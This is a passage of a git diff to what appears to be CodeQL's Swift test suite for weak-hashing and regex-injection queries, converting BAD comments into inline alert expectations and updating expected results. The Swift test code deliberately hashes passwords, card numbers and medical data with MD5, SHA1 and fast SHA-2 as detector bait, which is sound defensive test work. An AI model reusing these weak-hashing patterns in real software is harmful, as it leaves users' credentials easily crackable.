hashing algorithm (MD5) depends on $@. | testCryptoSwift.swift:183:9:183:9 | passwdArray | password (passwdArray) | -| testCryptoSwift.swift:186:9:186:9 | passwdArray | testCryptoSwift.swift:186:9:186:9 | passwdArray | testCryptoSwift.swift:186:9:186:9 | passwdArray | Insecure hashing algorithm (SHA1) depends on $@. | testCryptoSwift.swift:186:9:186:9 | passwdArray | password (passwdArray) | -| testCryptoSwift.swift:189:9:189:9 | passwdArray | testCryptoSwift.swift:189:9:189:9 | passwdArray | testCryptoSwift.swift:189:9:189:9 | passwdArray | Insecure hashing algorithm (SHA512) depends on $@. | testCryptoSwift.swift:189:9:189:9 | passwdArray | password (passwdArray) | -| testCryptoSwift.swift:192:9:192:9 | passwdArray | testCryptoSwift.swift:192:9:192:9 | passwdArray | testCryptoSwift.swift:192:9:192:9 | passwdArray | Insecure hashing algorithm (SHA2) depends on $@. | testCryptoSwift.swift:192:9:192:9 | passwdArray | password (passwdArray) | -| testCryptoSwift.swift:195:9:195:9 | passwdArray | testCryptoSwift.swift:195:9:195:9 | passwdArray | testCryptoSwift.swift:195:9:195:9 | passwdArray | Insecure hashing algorithm (SHA3) depends on $@. | testCryptoSwift.swift:195:9:195:9 | passwdArray | password (passwdArray) | -| testCryptoSwift.swift:201:9:201:9 | passwdData | testCryptoSwift.swift:201:9:201:9 | passwdData | testCryptoSwift.swift:201:9:201:9 | passwdData | Insecure hashing algorithm (MD5) depends on $@. | testCryptoSwift.swift:201:9:201:9 | passwdData | password (passwdData) | -| testCryptoSwift.swift:204:9:204:9 | passwdData | testCryptoSwift.swift:204:9:204:9 | passwdData | testCryptoSwift.swift:204:9:204:9 | passwdData | Insecure hashing algorithm (SHA1) depends on $@. | testCryptoSwift.swift:204:9:204:9 | passwdData | password (passwdData) | -| testCryptoSwift.swift:207:9:207:9 | passwdData | testCryptoSwift.swift:207:9:207:9 | passwdData | testCryptoSwift.swift:207:9:207:9 | passwdData | Insecure hashing algorithm (SHA512) depends on $@. | testCryptoSwift.swift:207:9:207:9 | passwdData | password (passwdData) | -| testCryptoSwift.swift:210:9:210:9 | passwdData | testCryptoSwift.swift:210:9:210:9 | passwdData | testCryptoSwift.swift:210:9:210:9 | passwdData | Insecure hashing algorithm (SHA2) depends on $@. | testCryptoSwift.swift:210:9:210:9 | passwdData | password (passwdData) | -| testCryptoSwift.swift:213:9:213:9 | passwdData | testCryptoSwift.swift:213:9:213:9 | passwdData | testCryptoSwift.swift:213:9:213:9 | passwdData | Insecure hashing algorithm (SHA3) depends on $@. | testCryptoSwift.swift:213:9:213:9 | passwdData | password (passwdData) | -| testCryptoSwift.swift:219:9:219:9 | passwd | testCryptoSwift.swift:219:9:219:9 | passwd | testCryptoSwift.swift:219:9:219:9 | passwd | Insecure hashing algorithm (MD5) depends on $@. | testCryptoSwift.swift:219:9:219:9 | passwd | password (passwd) | -| testCryptoSwift.swift:222:9:222:9 | passwd | testCryptoSwift.swift:222:9:222:9 | passwd | testCryptoSwift.swift:222:9:222:9 | passwd | Insecure hashing algorithm (SHA1) depends on $@. | testCryptoSwift.swift:222:9:222:9 | passwd | password (passwd) | -| testCryptoSwift.swift:225:9:225:9 | passwd | testCryptoSwift.swift:225:9:225:9 | passwd | testCryptoSwift.swift:225:9:225:9 | passwd | Insecure hashing algorithm (SHA512) depends on $@. | testCryptoSwift.swift:225:9:225:9 | passwd | password (passwd) | -| testCryptoSwift.swift:228:9:228:9 | passwd | testCryptoSwift.swift:228:9:228:9 | passwd | testCryptoSwift.swift:228:9:228:9 | passwd | Insecure hashing algorithm (SHA2) depends on $@. | testCryptoSwift.swift:228:9:228:9 | passwd | password (passwd) | -| testCryptoSwift.swift:231:9:231:9 | passwd | testCryptoSwift.swift:231:9:231:9 | passwd | testCryptoSwift.swift:231:9:231:9 | passwd | Insecure hashing algorithm (SHA3) depends on $@. | testCryptoSwift.swift:231:9:231:9 | passwd | password (passwd) | diff --git a/swift/ql/test/query-tests/Security/CWE-328/WeakPasswordHashing.qlref b/swift/ql/test/query-tests/Security/CWE-328/WeakPasswordHashing.qlref index b2cfaab1f5c..24744b4a425 100644 --- a/swift/ql/test/query-tests/Security/CWE-328/WeakPasswordHashing.qlref +++ b/swift/ql/test/query-tests/Security/CWE-328/WeakPasswordHashing.qlref @@ -1 +1,2 @@ -queries/Security/CWE-328/WeakPasswordHashing.ql +query: queries/Security/CWE-328/WeakPasswordHashing.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-328/WeakSensitiveDataHashing.qlref b/swift/ql/test/query-tests/Security/CWE-328/WeakSensitiveDataHashing.qlref index 85270fde299..d76eeef6c2f 100644 --- a/swift/ql/test/query-tests/Security/CWE-328/WeakSensitiveDataHashing.qlref +++ b/swift/ql/test/query-tests/Security/CWE-328/WeakSensitiveDataHashing.qlref @@ -1 +1,2 @@ -queries/Security/CWE-328/WeakSensitiveDataHashing.ql +query: queries/Security/CWE-328/WeakSensitiveDataHashing.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-328/testCryptoKit.swift b/swift/ql/test/query-tests/Security/CWE-328/testCryptoKit.swift index 6869805e65a..2f08fb62d90 100644 --- a/swift/ql/test/query-tests/Security/CWE-328/testCryptoKit.swift +++ b/swift/ql/test/query-tests/Security/CWE-328/testCryptoKit.swift @@ -81,43 +81,43 @@ enum Insecure { // --- tests --- func testHashMethods(passwd : UnsafeRawBufferPointer, cert: String, encrypted_passwd : String, account_no : String, credit_card_no : String) { - var hash = Crypto.Insecure.MD5.hash(data: passwd) // BAD - hash = Crypto.Insecure.MD5.hash(bufferPointer: passwd) // BAD - hash = Crypto.Insecure.MD5.hash(data: cert) // BAD + var hash = Crypto.Insecure.MD5.hash(data: passwd) // $ Alert[swift/weak-password-hashing] + hash = Crypto.Insecure.MD5.hash(bufferPointer: passwd) // $ Alert[swift/weak-password-hashing] + hash = Crypto.Insecure.MD5.hash(data: cert) // $ Alert[swift/weak-sensitive-data-hashing] hash = Crypto.Insecure.MD5.hash(data: encrypted_passwd) // GOOD (not sensitive) - hash = Crypto.Insecure.MD5.hash(data: account_no) // BAD - hash = Crypto.Insecure.MD5.hash(data: credit_card_no) // BAD + hash = Crypto.Insecure.MD5.hash(data: account_no) // $ Alert[swift/weak-sensitive-data-hashing] + hash = Crypto.Insecure.MD5.hash(data: credit_card_no) // $ Alert[swift/weak-sensitive-data-hashing] - hash = Insecure.MD5.hash(data: passwd) // BAD - hash = Insecure.MD5.hash(bufferPointer: passwd) // BAD - hash = Insecure.MD5.hash(data: cert) // BAD + hash = Insecure.MD5.hash(data: passwd) // $ Alert[swift/weak-password-hashing] + hash = Insecure.MD5.hash(bufferPointer: passwd) // $ Alert[swift/weak-password-hashing] + hash = Insecure.MD5.hash(data: cert) // $ Alert[swift/weak-sensitive-data-hashing] hash = Insecure.MD5.hash(data: encrypted_passwd) // GOOD (not sensitive) - hash = Insecure.MD5.hash(data: account_no) // BAD - hash = Insecure.MD5.hash(data: credit_card_no) // BAD + hash = Insecure.MD5.hash(data: account_no) // $ Alert[swift/weak-sensitive-data-hashing] + hash = Insecure.MD5.hash(data: credit_card_no) // $ Alert[swift/weak-sensitive-data-hashing] - hash = Crypto.Insecure.SHA1.hash(data: passwd) // BAD - hash = Crypto.Insecure.SHA1.hash(bufferPointer: passwd) // BAD - hash = Crypto.Insecure.SHA1.hash(data: cert) // BAD + hash = Crypto.Insecure.SHA1.hash(data: passwd) // $ Alert[swift/weak-password-hashing] + hash = Crypto.Insecure.SHA1.hash(bufferPointer: passwd) // $ Alert[swift/weak-password-hashing] + hash = Crypto.Insecure.SHA1.hash(data: cert) // $ Alert[swift/weak-sensitive-data-hashing] hash = Crypto.Insecure.SHA1.hash(data: encrypted_passwd) // GOOD (not sensitive) - hash = Crypto.Insecure.SHA1.hash(data: account_no) // BAD - hash = Crypto.Insecure.SHA1.hash(data: credit_card_no) // BAD + hash = Crypto.Insecure.SHA1.hash(data: account_no) // $ Alert[swift/weak-sensitive-data-hashing] + hash = Crypto.Insecure.SHA1.hash(data: credit_card_no) // $ Alert[swift/weak-sensitive-data-hashing] - hash = Crypto.SHA256.hash(data: passwd) // BAD, not a computationally expensive hash - hash = Crypto.SHA256.hash(bufferPointer: passwd) // BAD, not a computationally expensive hash + hash = Crypto.SHA256.hash(data: passwd) // $ Alert[swift/weak-password-hashing] // BAD, not a computationally expensive hash + hash = Crypto.SHA256.hash(bufferPointer: passwd) // $ Alert[swift/weak-password-hashing] // BAD, not a computationally expensive hash hash = Crypto.SHA256.hash(data: cert) // GOOD, computationally expensive hash not required hash = Crypto.SHA256.hash(data: encrypted_passwd) // GOOD, not sensitive hash = Crypto.SHA256.hash(data: account_no) // GOOD, computationally expensive hash not required hash = Crypto.SHA256.hash(data: credit_card_no) // GOOD, computationally expensive hash not required - hash = Crypto.SHA384.hash(data: passwd) // BAD, not a computationally expensive hash - hash = Crypto.SHA384.hash(bufferPointer: passwd) // BAD, not a computationally expensive hash + hash = Crypto.SHA384.hash(data: passwd) // $ Alert[swift/weak-password-hashing] // BAD, not a computationally expensive hash + hash = Crypto.SHA384.hash(bufferPointer: passwd) // $ Alert[swift/weak-password-hashing] // BAD, not a computationally expensive hash hash = Crypto.SHA384.hash(data: cert) // GOOD, computationally expensive hash not required hash = Crypto.SHA384.hash(data: encrypted_passwd) // GOOD, not sensitive hash = Crypto.SHA384.hash(data: account_no) // GOOD, computationally expensive hash not required hash = Crypto.SHA384.hash(data: credit_card_no) // GOOD, computationally expensive hash not required - hash = Crypto.SHA512.hash(data: passwd) // BAD, not a computationally expensive hash - hash = Crypto.SHA512.hash(bufferPointer: passwd) // BAD, not a computationally expensive hash + hash = Crypto.SHA512.hash(data: passwd) // $ Alert[swift/weak-password-hashing] // BAD, not a computationally expensive hash + hash = Crypto.SHA512.hash(bufferPointer: passwd) // $ Alert[swift/weak-password-hashing] // BAD, not a computationally expensive hash hash = Crypto.SHA512.hash(data: cert) // GOOD, computationally expensive hash not required hash = Crypto.SHA512.hash(data: encrypted_passwd) // GOOD, not sensitive hash = Crypto.SHA512.hash(data: account_no) // GOOD, computationally expensive hash not required @@ -126,25 +126,25 @@ func testHashMethods(passwd : UnsafeRawBufferPointer, cert: String, encrypted_pa func testMD5UpdateWithData(passwd : String, cert: String, encrypted_passwd : String, account_no : String, credit_card_no : String) { var hash = Crypto.Insecure.MD5() - hash.update(data: passwd) // BAD - hash.update(data: cert) // BAD + hash.update(data: passwd) // $ Alert[swift/weak-password-hashing] + hash.update(data: cert) // $ Alert[swift/weak-sensitive-data-hashing] hash.update(data: encrypted_passwd) // GOOD (not sensitive) - hash.update(data: account_no) // BAD - hash.update(data: credit_card_no) // BAD + hash.update(data: account_no) // $ Alert[swift/weak-sensitive-data-hashing] + hash.update(data: credit_card_no) // $ Alert[swift/weak-sensitive-data-hashing] } func testSHA1UpdateWithData(passwd : String, cert: String, encrypted_passwd : String, account_no : String, credit_card_no : String) { var hash = Crypto.Insecure.SHA1() - hash.update(data: passwd) // BAD - hash.update(data: cert) // BAD + hash.update(data: passwd) // $ Alert[swift/weak-password-hashing] + hash.update(data: cert) // $ Alert[swift/weak-sensitive-data-hashing] hash.update(data: encrypted_passwd) // GOOD (not sensitive) - hash.update(data: account_no) // BAD - hash.update(data: credit_card_no) // BAD + hash.update(data: account_no) // $ Alert[swift/weak-sensitive-data-hashing] + hash.update(data: credit_card_no) // $ Alert[swift/weak-sensitive-data-hashing] } func testSHA256UpdateWithData(passwd : String, cert: String, encrypted_passwd : String, account_no : String, credit_card_no : String) { var hash = Crypto.SHA256() - hash.update(data: passwd) // BAD, not a computationally expensive hash + hash.update(data: passwd) // $ Alert[swift/weak-password-hashing] // BAD, not a computationally expensive hash hash.update(data: cert) // GOOD hash.update(data: encrypted_passwd) // GOOD (not sensitive) hash.update(data: account_no) // GOOD @@ -153,7 +153,7 @@ func testSHA256UpdateWithData(passwd : String, cert: String, encrypted_passwd : func testSHA384UpdateWithData(passwd : String, cert: String, encrypted_passwd : String, account_no : String, credit_card_no : String) { var hash = Crypto.SHA384() - hash.update(data: passwd) // BAD, not a computationally expensive hash + hash.update(data: passwd) // $ Alert[swift/weak-password-hashing] // BAD, not a computationally expensive hash hash.update(data: cert) // GOOD hash.update(data: encrypted_passwd) // GOOD (not sensitive) hash.update(data: account_no) // GOOD @@ -162,7 +162,7 @@ func testSHA384UpdateWithData(passwd : String, cert: String, encrypted_passwd : func testSHA512UpdateWithData(passwd : String, cert: String, encrypted_passwd : String, account_no : String, credit_card_no : String) { var hash = Crypto.SHA512() - hash.update(data: passwd) // BAD, not a computationally expensive hash + hash.update(data: passwd) // $ Alert[swift/weak-password-hashing] // BAD, not a computationally expensive hash hash.update(data: cert) // GOOD hash.update(data: encrypted_passwd) // GOOD (not sensitive) hash.update(data: account_no) // GOOD @@ -171,25 +171,25 @@ func testSHA512UpdateWithData(passwd : String, cert: String, encrypted_passwd : func testMD5UpdateWithUnsafeRawBufferPointer(passwd : UnsafeRawBufferPointer, cert: UnsafeRawBufferPointer, encrypted_passwd : UnsafeRawBufferPointer, account_no : UnsafeRawBufferPointer, credit_card_no : UnsafeRawBufferPointer) { var hash = Crypto.Insecure.MD5() - hash.update(bufferPointer: passwd) // BAD - hash.update(bufferPointer: cert) // BAD + hash.update(bufferPointer: passwd) // $ Alert[swift/weak-password-hashing] + hash.update(bufferPointer: cert) // $ Alert[swift/weak-sensitive-data-hashing] hash.update(bufferPointer: encrypted_passwd) // GOOD (not sensitive) - hash.update(bufferPointer: account_no) // BAD - hash.update(bufferPointer: credit_card_no) // BAD + hash.update(bufferPointer: account_no) // $ Alert[swift/weak-sensitive-data-hashing] + hash.update(bufferPointer: credit_card_no) // $ Alert[swift/weak-sensitive-data-hashing] } func testSHA1UpdateWithUnsafeRawBufferPointer(passwd : UnsafeRawBufferPointer, cert: UnsafeRawBufferPointer, encrypted_passwd : UnsafeRawBufferPointer, account_no : UnsafeRawBufferPointer, credit_card_no : UnsafeRawBufferPointer) { var hash = Crypto.Insecure.SHA1() - hash.update(bufferPointer: passwd) // BAD - hash.update(bufferPointer: cert) // BAD + hash.update(bufferPointer: passwd) // $ Alert[swift/weak-password-hashing] + hash.update(bufferPointer: cert) // $ Alert[swift/weak-sensitive-data-hashing] hash.update(bufferPointer: encrypted_passwd) // GOOD (not sensitive) - hash.update(bufferPointer: account_no) // BAD - hash.update(bufferPointer: credit_card_no) // BAD + hash.update(bufferPointer: account_no) // $ Alert[swift/weak-sensitive-data-hashing] + hash.update(bufferPointer: credit_card_no) // $ Alert[swift/weak-sensitive-data-hashing] } func testSHA256UpdateWithUnsafeRawBufferPointer(passwd : UnsafeRawBufferPointer, cert: UnsafeRawBufferPointer, encrypted_passwd : UnsafeRawBufferPointer, account_no : UnsafeRawBufferPointer, credit_card_no : UnsafeRawBufferPointer) { var hash = Crypto.SHA256() - hash.update(bufferPointer: passwd) // BAD, not a computationally expensive hash + hash.update(bufferPointer: passwd) // $ Alert[swift/weak-password-hashing] // BAD, not a computationally expensive hash hash.update(bufferPointer: cert) // GOOD hash.update(bufferPointer: encrypted_passwd) // GOOD (not sensitive) hash.update(bufferPointer: account_no) // GOOD @@ -198,7 +198,7 @@ func testSHA256UpdateWithUnsafeRawBufferPointer(passwd : UnsafeRawBufferPointer, func testSHA384UpdateWithUnsafeRawBufferPointer(passwd : UnsafeRawBufferPointer, cert: UnsafeRawBufferPointer, encrypted_passwd : UnsafeRawBufferPointer, account_no : UnsafeRawBufferPointer, credit_card_no : UnsafeRawBufferPointer) { var hash = Crypto.SHA384() - hash.update(bufferPointer: passwd) // BAD, not a computationally expensive hash + hash.update(bufferPointer: passwd) // $ Alert[swift/weak-password-hashing] // BAD, not a computationally expensive hash hash.update(bufferPointer: cert) // GOOD hash.update(bufferPointer: encrypted_passwd) // GOOD (not sensitive) hash.update(bufferPointer: account_no) // GOOD @@ -207,7 +207,7 @@ func testSHA384UpdateWithUnsafeRawBufferPointer(passwd : UnsafeRawBufferPointer, func testSHA512UpdateWithUnsafeRawBufferPointer(passwd : UnsafeRawBufferPointer, cert: UnsafeRawBufferPointer, encrypted_passwd : UnsafeRawBufferPointer, account_no : UnsafeRawBufferPointer, credit_card_no : UnsafeRawBufferPointer) { var hash = Crypto.SHA512() - hash.update(bufferPointer: passwd) // BAD, not a computationally expensive hash + hash.update(bufferPointer: passwd) // $ Alert[swift/weak-password-hashing] // BAD, not a computationally expensive hash hash.update(bufferPointer: cert) // GOOD hash.update(bufferPointer: encrypted_passwd) // GOOD (not sensitive) hash.update(bufferPointer: account_no) // GOOD @@ -217,30 +217,30 @@ func testSHA512UpdateWithUnsafeRawBufferPointer(passwd : UnsafeRawBufferPointer, func testBadExample(passwordString: String) { // this is the "bad" example from the .qhelp let passwordData = Data(passwordString.utf8) - let passwordHash = Crypto.SHA512.hash(data: passwordData) // BAD, not a computationally expensive hash + let passwordHash = Crypto.SHA512.hash(data: passwordData) // $ Alert[swift/weak-password-hashing] // BAD, not a computationally expensive hash // ... - if Crypto.SHA512.hash(data: Data(passwordString.utf8)) == passwordHash { // BAD, not a computationally expensive hash + if Crypto.SHA512.hash(data: Data(passwordString.utf8)) == passwordHash { // $ Alert[swift/weak-password-hashing] // BAD, not a computationally expensive hash // ... } } func testWithFlowAndMetatypes(cardNumber: String) { - let value1 = Data(cardNumber.utf8); - let _digest1 = Insecure.MD5.hash(data: value1); // BAD + let value1 = Data(cardNumber.utf8); // $ Source[swift/weak-sensitive-data-hashing] + let _digest1 = Insecure.MD5.hash(data: value1); // $ Alert[swift/weak-sensitive-data-hashing] - let value2 = Data(cardNumber.utf8); + let value2 = Data(cardNumber.utf8); // $ Source[swift/weak-sensitive-data-hashing] let hasher2 = Insecure.MD5.self; // metatype - let _digest2 = hasher2.hash(data: value2); // BAD + let _digest2 = hasher2.hash(data: value2); // $ Alert[swift/weak-sensitive-data-hashing] - let value3 = Data(cardNumber.utf8); - let _digest3 = (Insecure.MD5.self).hash(data: value3); // BAD + let value3 = Data(cardNumber.utf8); // $ Source[swift/weak-sensitive-data-hashing] + let _digest3 = (Insecure.MD5.self).hash(data: value3); // $ Alert[swift/weak-sensitive-data-hashing] - let value4 = Data(cardNumber.utf8); + let value4 = Data(cardNumber.utf8); // $ Source[swift/weak-sensitive-data-hashing] testReceiver1(value: value4); - let value5 = Data(cardNumber.utf8); + let value5 = Data(cardNumber.utf8); // $ Source[swift/weak-sensitive-data-hashing] testReceiver2(hasher: Insecure.MD5.self, value: value5); let value6 = Data(cardNumber.utf8); @@ -248,11 +248,11 @@ func testWithFlowAndMetatypes(cardNumber: String) { } func testReceiver1(value: Data) { - let _digest = Insecure.MD5.hash(data: value); // BAD + let _digest = Insecure.MD5.hash(data: value); // $ Alert[swift/weak-sensitive-data-hashing] } func testReceiver2(hasher: Insecure.MD5.Type, value: Data) { - let _digest = hasher.hash(data: value); // BAD + let _digest = hasher.hash(data: value); // $ Alert[swift/weak-sensitive-data-hashing] } func testReceiver3(hasher: H.Type, value: Data) { diff --git a/swift/ql/test/query-tests/Security/CWE-328/testCryptoSwift.swift b/swift/ql/test/query-tests/Security/CWE-328/testCryptoSwift.swift index 15043bc15f6..a6f4584230e 100644 --- a/swift/ql/test/query-tests/Security/CWE-328/testCryptoSwift.swift +++ b/swift/ql/test/query-tests/Security/CWE-328/testCryptoSwift.swift @@ -150,83 +150,83 @@ extension String { func testArrays(harmlessArray: Array, phoneNumberArray: Array, passwdArray: Array) { _ = MD5().calculate(for: harmlessArray) // GOOD (not sensitive) - _ = MD5().calculate(for: phoneNumberArray) // BAD - _ = MD5().calculate(for: passwdArray) // BAD + _ = MD5().calculate(for: phoneNumberArray) // $ Alert[swift/weak-sensitive-data-hashing] + _ = MD5().calculate(for: passwdArray) // $ Alert[swift/weak-password-hashing] _ = SHA1().calculate(for: harmlessArray) // GOOD (not sensitive) - _ = SHA1().calculate(for: phoneNumberArray) // BAD - _ = SHA1().calculate(for: passwdArray) // BAD + _ = SHA1().calculate(for: phoneNumberArray) // $ Alert[swift/weak-sensitive-data-hashing] + _ = SHA1().calculate(for: passwdArray) // $ Alert[swift/weak-password-hashing] _ = SHA2(variant: .sha512).calculate(for: harmlessArray) // GOOD _ = SHA2(variant: .sha512).calculate(for: phoneNumberArray) // GOOD - _ = SHA2(variant: .sha512).calculate(for: passwdArray) // BAD + _ = SHA2(variant: .sha512).calculate(for: passwdArray) // $ Alert[swift/weak-password-hashing] _ = SHA3(variant: .sha512).calculate(for: harmlessArray) // GOOD _ = SHA3(variant: .sha512).calculate(for: phoneNumberArray) // GOOD - _ = SHA3(variant: .sha512).calculate(for: passwdArray) // BAD + _ = SHA3(variant: .sha512).calculate(for: passwdArray) // $ Alert[swift/weak-password-hashing] _ = Digest.md5(harmlessArray) // GOOD (not sensitive) - _ = Digest.md5(phoneNumberArray) // BAD - _ = Digest.md5(passwdArray) // BAD + _ = Digest.md5(phoneNumberArray) // $ Alert[swift/weak-sensitive-data-hashing] + _ = Digest.md5(passwdArray) // $ Alert[swift/weak-password-hashing] _ = Digest.sha1(harmlessArray) // GOOD (not sensitive) - _ = Digest.sha1(phoneNumberArray) // BAD - _ = Digest.sha1(passwdArray) // BAD + _ = Digest.sha1(phoneNumberArray) // $ Alert[swift/weak-sensitive-data-hashing] + _ = Digest.sha1(passwdArray) // $ Alert[swift/weak-password-hashing] _ = Digest.sha512(harmlessArray) // GOOD (not sensitive) _ = Digest.sha512(phoneNumberArray) // GOOD - _ = Digest.sha512(passwdArray) // BAD + _ = Digest.sha512(passwdArray) // $ Alert[swift/weak-password-hashing] _ = Digest.sha2(harmlessArray, variant: .sha512) // GOOD (not sensitive) _ = Digest.sha2(phoneNumberArray, variant: .sha512) // GOOD - _ = Digest.sha2(passwdArray, variant: .sha512) // BAD + _ = Digest.sha2(passwdArray, variant: .sha512) // $ Alert[swift/weak-password-hashing] _ = Digest.sha3(harmlessArray, variant: .sha512) // GOOD (not sensitive) _ = Digest.sha3(phoneNumberArray, variant: .sha512) // GOOD - _ = Digest.sha3(passwdArray, variant: .sha512) // BAD + _ = Digest.sha3(passwdArray, variant: .sha512) // $ Alert[swift/weak-password-hashing] _ = harmlessArray.md5() // GOOD (not sensitive) - _ = phoneNumberArray.md5() // BAD - _ = passwdArray.md5() // BAD + _ = phoneNumberArray.md5() // $ Alert[swift/weak-sensitive-data-hashing] + _ = passwdArray.md5() // $ Alert[swift/weak-password-hashing] _ = harmlessArray.sha1() // GOOD (not sensitive) - _ = phoneNumberArray.sha1() // BAD - _ = passwdArray.sha1() // BAD + _ = phoneNumberArray.sha1() // $ Alert[swift/weak-sensitive-data-hashing] + _ = passwdArray.sha1() // $ Alert[swift/weak-password-hashing] _ = harmlessArray.sha512() // GOOD _ = phoneNumberArray.sha512() // GOOD - _ = passwdArray.sha512() // BAD + _ = passwdArray.sha512() // $ Alert[swift/weak-password-hashing] _ = harmlessArray.sha2(.sha512) // GOOD _ = phoneNumberArray.sha2(.sha512) // GOOD - _ = passwdArray.sha2(.sha512) // BAD + _ = passwdArray.sha2(.sha512) // $ Alert[swift/weak-password-hashing] _ = harmlessArray.sha3(.sha512) // GOOD _ = phoneNumberArray.sha3(.sha512) // GOOD - _ = passwdArray.sha3(.sha512) // BAD + _ = passwdArray.sha3(.sha512) // $ Alert[swift/weak-password-hashing] } func testData(harmlessData: Data, medicalData: Data, passwdData: Data) { _ = harmlessData.md5() // GOOD (not sensitive) - _ = medicalData.md5() // BAD - _ = passwdData.md5() // BAD + _ = medicalData.md5() // $ Alert[swift/weak-sensitive-data-hashing] + _ = passwdData.md5() // $ Alert[swift/weak-password-hashing] _ = harmlessData.sha1() // GOOD (not sensitive) - _ = medicalData.sha1() // BAD - _ = passwdData.sha1() // BAD + _ = medicalData.sha1() // $ Alert[swift/weak-sensitive-data-hashing] + _ = passwdData.sha1() // $ Alert[swift/weak-password-hashing] _ = harmlessData.sha512() // GOOD _ = medicalData.sha512() // GOOD - _ = passwdData.sha512() // BAD + _ = passwdData.sha512() // $ Alert[swift/weak-password-hashing] _ = harmlessData.sha2(.sha512) // GOOD _ = medicalData.sha2(.sha512) // GOOD - _ = passwdData.sha2(.sha512) // BAD + _ = passwdData.sha2(.sha512) // $ Alert[swift/weak-password-hashing] _ = harmlessData.sha3(.sha512) // GOOD _ = medicalData.sha3(.sha512) // GOOD - _ = passwdData.sha3(.sha512) // BAD + _ = passwdData.sha3(.sha512) // $ Alert[swift/weak-password-hashing] } func testStrings(creditCardNumber: String, passwd: String) { _ = "harmless".md5() // GOOD (not sensitive) - _ = creditCardNumber.md5() // BAD - _ = passwd.md5() // BAD + _ = creditCardNumber.md5() // $ Alert[swift/weak-sensitive-data-hashing] + _ = passwd.md5() // $ Alert[swift/weak-password-hashing] _ = "harmless".sha1() // GOOD (not sensitive) - _ = creditCardNumber.sha1() // BAD - _ = passwd.sha1() // BAD + _ = creditCardNumber.sha1() // $ Alert[swift/weak-sensitive-data-hashing] + _ = passwd.sha1() // $ Alert[swift/weak-password-hashing] _ = "harmless".sha512() // GOOD _ = creditCardNumber.sha512() // GOOD - _ = passwd.sha512() // BAD + _ = passwd.sha512() // $ Alert[swift/weak-password-hashing] _ = "harmless".sha2(.sha512) // GOOD _ = creditCardNumber.sha2(.sha512) // GOOD - _ = passwd.sha2(.sha512) // BAD + _ = passwd.sha2(.sha512) // $ Alert[swift/weak-password-hashing] _ = "harmless".sha3(.sha512) // GOOD _ = creditCardNumber.sha3(.sha512) // GOOD - _ = passwd.sha3(.sha512) // BAD + _ = passwd.sha3(.sha512) // $ Alert[swift/weak-password-hashing] } diff --git a/swift/ql/test/query-tests/Security/CWE-730/RegexInjection.expected b/swift/ql/test/query-tests/Security/CWE-730/RegexInjection.expected index 1a26f921197..04dafbd0b5e 100644 --- a/swift/ql/test/query-tests/Security/CWE-730/RegexInjection.expected +++ b/swift/ql/test/query-tests/Security/CWE-730/RegexInjection.expected @@ -1,3 +1,27 @@ +#select +| tests.swift:101:16:101:16 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:101:16:101:16 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | +| tests.swift:104:16:104:40 | ... .+(_:_:) ... | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:104:16:104:40 | ... .+(_:_:) ... | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | +| tests.swift:106:16:106:16 | "..." | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:106:16:106:16 | "..." | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | +| tests.swift:109:16:109:39 | ... ? ... : ... | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:109:16:109:39 | ... ? ... : ... | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | +| tests.swift:110:16:110:37 | ... ? ... : ... | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:110:16:110:37 | ... ? ... : ... | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | +| tests.swift:113:24:113:24 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:113:24:113:24 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | +| tests.swift:114:45:114:45 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:114:45:114:45 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | +| tests.swift:120:19:120:19 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:120:19:120:19 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | +| tests.swift:126:40:126:40 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:126:40:126:40 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | +| tests.swift:131:39:131:39 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:131:39:131:39 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | +| tests.swift:137:40:137:40 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:137:40:137:40 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | +| tests.swift:144:16:144:16 | remoteInput | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:144:16:144:16 | remoteInput | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | +| tests.swift:147:39:147:39 | regexStr | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:147:39:147:39 | regexStr | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | +| tests.swift:162:17:162:17 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:162:17:162:17 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | user-provided value | +| tests.swift:164:17:164:17 | taintedString | tests.swift:95:22:95:46 | call to String.init(contentsOf:) | tests.swift:164:17:164:17 | taintedString | This regular expression is constructed from a $@. | tests.swift:95:22:95:46 | call to String.init(contentsOf:) 